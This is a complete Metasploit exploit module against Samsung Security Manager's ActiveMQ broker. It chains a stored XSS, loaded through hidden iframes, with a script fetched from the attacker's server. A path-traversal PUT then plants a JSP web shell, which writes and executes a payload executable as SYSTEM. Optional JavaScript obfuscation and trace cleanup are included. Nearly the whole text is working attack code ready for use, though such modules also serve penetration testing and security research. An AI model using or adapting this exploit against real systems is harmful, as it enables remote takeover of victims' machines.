## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution", 'Description' => %q{ This is an exploit against Samsung Security Manager that bypasses the patch in CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request to upload the code just where we want it and gain Remote Code Execution as SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <mr_me[at]offensive-security.com>', # vuln + module ], 'References' => [ [ 'URL', 'http://metasploit.com' ] ], 'Platform' => 'win', 'Targets' => [ # tested on 1.32, 1.4 & 1.5 [ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ], ], 'DisclosureDate' => "Aug 05 2016", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end # this is because String.fromCharCode has a max of 65535 func args # thanks to sinn3r for his help with the Array->String conversion def encode_js(string) i = 0 encoded_0 = [] encoded_1 = [] string.each_byte do |c| if i > 65534 encoded_1 << c else encoded_0 << c end i += 1 end if i > 65534 return encoded_0 * ",", encoded_1 * "," else return encoded_0 * "," end end # tested on Firefox v46.0.1 (latest) # tested on Chrome v50.0.2661.102 (latest release) # tested on IE v11.0.9600.18314 (latest) def on_request_uri(cli, request) js_name = rand_text_alpha(rand(10)+5) + '.js' payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name # we deliver the JavaScript code that does the work for us if (request.uri.match(/.js/)) return if ((p = regenerate_payload(cli)) == nil) # dont exploit again otherwise we get a zillion shells return if session_created? or @exploited jsp_name = rand_text_alpha(rand(10)+5) + '.jsp' exe_name = rand_text_alpha(rand(10)+5) + '.exe' # clean just the jsp, because the exe dropper will be in use register_files_for_cleanup("../../webapps/admin/#{jsp_name}") # our jsp upload, ensuring native code execution jsp = %Q|<%@ page import="java.io.*" %> <% ByteArrayOutputStream buf = new ByteArrayOutputStream(); BufferedReader reader = request.getReader(); int tmp; while ((tmp = reader.read()) != -1) { buf.write(tmp); } FileOutputStream fostream = new FileOutputStream("#{exe_name}"); buf.writeTo(fostream); fostream.close(); Runtime.getRuntime().exec("#{exe_name}"); %>| # encode the payloads encoded_exe = encode_js(generate_payload_exe(code: payload.encoded)) encoded_jsp = encode_js(jsp) # targets jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}" upload_uri = "http://localhost:8161/admin/#{jsp_name}" # this code does the PUT, then uploads/exec native code and then cleans the XSS out :-> js_content = %Q| function do_put(uri, file_data) { var file_size = file_data.length; var xhr = new XMLHttpRequest(); xhr.open("PUT", uri, true); var body = file_data; xhr.send(body); return true; } function do_upload(uri, file_data) { var file_size = file_data.length; var xhr = new XMLHttpRequest(); xhr.open("POST", uri, true); var body = file_data; // latest ff doesnt have sendAsBinary(), so we redefine it if(!xhr.sendAsBinary){ xhr.sendAsBinary = function(datastr) { function byteValue(x) { return x.charCodeAt(0) & 0xff; } var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); this.send(ui8a.buffer); } } xhr.sendAsBinary(body); return true; } function bye_bye_xss(uri){ var xhr = new XMLHttpRequest(); xhr.open('GET', uri.replace(/\\+/g,"%2b"), true); xhr.send(); } function clean_up(){ var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { var els = xhr.responseXML.getElementsByTagName("a"); for (var i = 0, l = els.length; i < l; i++) { var el = els[i]; if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) { bye_bye_xss(el.href); } } } } xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true); xhr.responseType = "document"; // so that we can parse the reponse as a document xhr.send(null); } function exploit(){ do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]})); clean_up(); } function start() { do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp})); setTimeout(exploit(), 2000); // timing is important } start(); | if datastore['OBFUSCATE'] js_content = ::Rex::Exploitation::JSObfu.new(js_content) js_content.obfuscate end print_status("Sending javascript...") @exploited = true send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' }) return end if datastore['OBFUSCATE'] js_content = ::Rex::Exploitation::JSObfu.new(js_content) js_content.obfuscate onlick = ::Rex::Exploitation::JSObfu.new(onlick) onlick.obfuscate end iframe_injection = "" # done so that we can ensure that we hit our payload, since iframes load very fast, we need a few (1..20).step(1) do |n| iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>" end # the stored XSS endpoint target = "http://localhost:8161/admin/browse.jsp?JMSDestination=" # we use XSS to execute JavaScript code in local context to avoid CORS xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';" xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\"" target << Rex::Text.uri_encode(xss_injection) # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request # and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS html_content = %Q| <html> <body> <iframe src="#{target}" width="0" height="0"></iframe> #{iframe_injection} </body> </html> | print_status("Sending exploit...") send_response_html(cli, html_content) handler(cli) end end